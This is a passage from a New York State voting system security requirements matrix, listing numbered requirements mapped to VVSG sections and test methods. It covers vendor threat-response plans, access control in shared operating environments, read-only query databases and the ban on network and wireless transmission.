Requirement Description	<p>Vendors of such systems shall document how they plan to monitor and respond to known threats to which their voting systems are vulnerable. This documentation shall provide a detailed description, including scheduling information, of the procedures the vendor will use to:</p> <p>Address threats emerging too late to correct the system by:</p> <p>Assisting client jurisdictions directly or advising them through detailed written procedures to disable the public telecommunications mode of the system.</p>		
Documented	Vendor documentation	Additional Notes	

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Dependencies			
Req #	6.75	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.5.3.f.iii)		
Requirement Description	<p>Vendors of such systems shall document how they plan to monitor and respond to known threats to which their voting systems are vulnerable. This documentation shall provide a detailed description, including scheduling information, of the procedures the vendor will use to:</p> <p>Address threats emerging too late to correct the system by:</p> <p>Modifying the system after the election to address the threat, submitting the modified system to an accredited test lab and the EAC or state certification authority for approval, and assisting client jurisdictions directly or advising them through detailed written procedures, to update their systems and/or to implement the corrective procedures after approval.</p>		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.76	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.5.4.a)		
Requirement Description	<p>Systems that use a shared operating environment shall:</p> <p>Use security procedures and logging records to control access to system functions.</p>		
Documented Dependencies		Additional Notes	

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Req #	6.77	Test Method	<i>Functional: Structural Test</i>
Mapping	VVSG Volume 1 Section 7 (7.5.4.b)		
Requirement Description	Systems that use a shared operating environment shall: Partition or compartmentalize voting system functions from other concurrent functions at least logically, and preferably physically as well.		
Documented Dependencies		Additional Notes	
Req #	6.78	Test Method	<i>Functional: Structural Test</i>
Mapping	VVSG Volume 1 Section 7 (7.5.4.c)		
Requirement Description	Systems that use a shared operating environment shall: Control system access by means of passwords, and restrict account access to necessary functions only.		
Documented Dependencies		Additional Notes	
Req #	6.79	Test Method	<i>Functional: Structural Test</i>
Mapping	VVSG Volume 1 Section 7 (7.5.4.d)		
Requirement Description	Systems that use a shared operating environment shall: Have capabilities in place to control the flow of information, precluding data leakage through shared system resources.		
Documented Dependencies		Additional Notes	
Req #	6.80	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.5.5.a)		

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Requirement Description	If the voting system provides access to incomplete election returns and interactive inquiries before the completion of the official count, the system shall: Be designed to provide external access to incomplete election returns (for equipment that operates in a central counting environment), only if that access for these purposes is authorized by the statutes and regulations of the using agency. This requirement applies as well to polling place equipment that contains a removable memory module or that may be removed in its entirety to a central place for the consolidation of polling place returns.		
Documented Dependencies		Additional Notes	
Req #	6.81	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 7 (7.5.5.b.i)		
Requirement Description	Design voting system software and its security environment such that data accessible to interactive queries resides in an external file or database created and maintained by the elections software under the restrictions applying to any other output report: The output file or database has no provision for write access back to the system.		
Documented Dependencies		Additional Notes	
Req #	6.82	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 7 (7.5.5.b.ii)		
Requirement Description	Design voting system software and its security environment such that data accessible to interactive queries resides in an external file or database created and maintained by the elections software under the		

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	restrictions applying to any other output report: Persons whose only authorized access is to the file or database are denied write access, both to the file or database, and to the system.		
Documented Dependencies		Additional Notes	
Req #	6.83	Test Method	<i>Functional: Generalized Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.1.1.1)		
Requirement Description	The TDP shall contain the following documentation: System security specifications.		
Documented Dependencies	Vendor Technical Data Package (TDP)	Additional Notes	
Req #	6.84	Test Method	<i>Functional: Generalized Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.6)		
Requirement Description	The Security Specification shall contain the following sections: 2.6.1 Access Control Policy 2.6.2 Access Control Measures 2.6.3 Equipment and Data Security 2.6.4 Software Installation 2.6.5 Telecommunications and Data Transmission Security 2.6.6 Other Elements of an Effective Security Program		
Documented Dependencies	Vendor Technical Data Package (TDP)	Additional Notes	
Req #	6.85	Test Method	<i>Functional: Functional Test</i>
Mapping	2006 NY Election Law (7-202.r.ii); NYS 6209 Regulations 6209.2.F.17		
Requirement	The voting system secures any votes already cast on		

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Description	the system during multiple forms of malfunctioning.		
Documented Dependencies		Additional Notes	<i>This requirement is encouraged to be approached cautiously during the testing cycle, with consideration made to testing of this requirement toward the end of the test phase. Should attempts to cause a malfunctioning system place the system in an unrecoverable state, unexpected delays in the testing cycle may occur.</i>
Req #	6.86	Test Method	<i>Functional: Focused Examine</i>
Mapping	VVSG Volume 1 7.2.1		
Requirement Description	The vendor shall specify the general features and capabilities of the access control policy recommended to provide effective voting system security.		
Documented Dependencies	Vendor documentation	Additional Notes	
<End of New York State Voting Specific Security Requirements>			

TELECOMMUNICATIONS AND DATA TRANSMISSION SECURITY REQUIREMENTS

These standards address security for the electronic transmission of data between system components or locations over private, public, and wireless networks. This may be divided into five sections: Data Integrity; Protection Against External Threats; Capability to Monitor and Respond to External Threats; Shared Operating Environment; and Provision for Incomplete Election Returns.

Note: These requirements need only be tested to demonstrate a system's capacity to not provide networking capability over private, public, or wireless networks.

Req #	7.1	Test Method	<i>Functional: Functional Test</i>
Mapping	N/A		

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Requirement Description	The system does not provide for the electronic transmission of data between system components over networks.		
Documented Dependencies		Additional Notes	
Req #	7.2	Test Method	<i>Functional: Functional Test</i>
Mapping	N/A		
Requirement Description	The system does not provide for the electronic transmission of data between locations over private networks.		
Documented Dependencies		Additional Notes	
Req #	7.3	Test Method	<i>Functional: Functional Test</i>
Mapping	N/A		
Requirement Description	The system does not provide for the electronic transmission of data between locations over public networks.		
Documented Dependencies		Additional Notes	
Req #	7.4	Test Method	<i>Functional: Functional Test</i>
Mapping	N/A		
Requirement Description	The system does not provide for the electronic transmission of data between locations over wireless networks.		
Documented Dependencies		Additional Notes	
<End of New York State Voting Telecommunications and Data Transmission Security Requirements>			

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USE OF PUBLIC COMMUNICATIONS NETWORKS SECURITY REQUIREMENTS

These standards address security for systems that communicate individual votes or vote totals over public communications networks. This may be divided into two sections: Data Transmission; and Casting Individual Ballots (for systems designed for transmission of telecommunications over public networks).

Note: Please refer to "[Telecommunications and Data Transmission Security Requirements](#)"

N/A

<End of New York State Voting Use of Public Communications Networks Security Requirements>

WIRELESS COMMUNICATIONS SECURITY REQUIREMENTS

These standards address the security of the voting system and voting data when wireless is used.

Note: Please refer to "[Telecommunications and Data Transmission Security Requirements](#)"

Req #	9.1	Test Method	<i>Functional: Structural Test</i>
Mapping	2006 NY Election Law – 7-202		
Requirement Description	The system does not include any device or functionality capable of externally transmitting or receiving data via the Internet, radio waves, or other wireless means.		
Documented Dependencies		Additional Notes	

<End of New York State Voting Wireless Communications Security Requirements>

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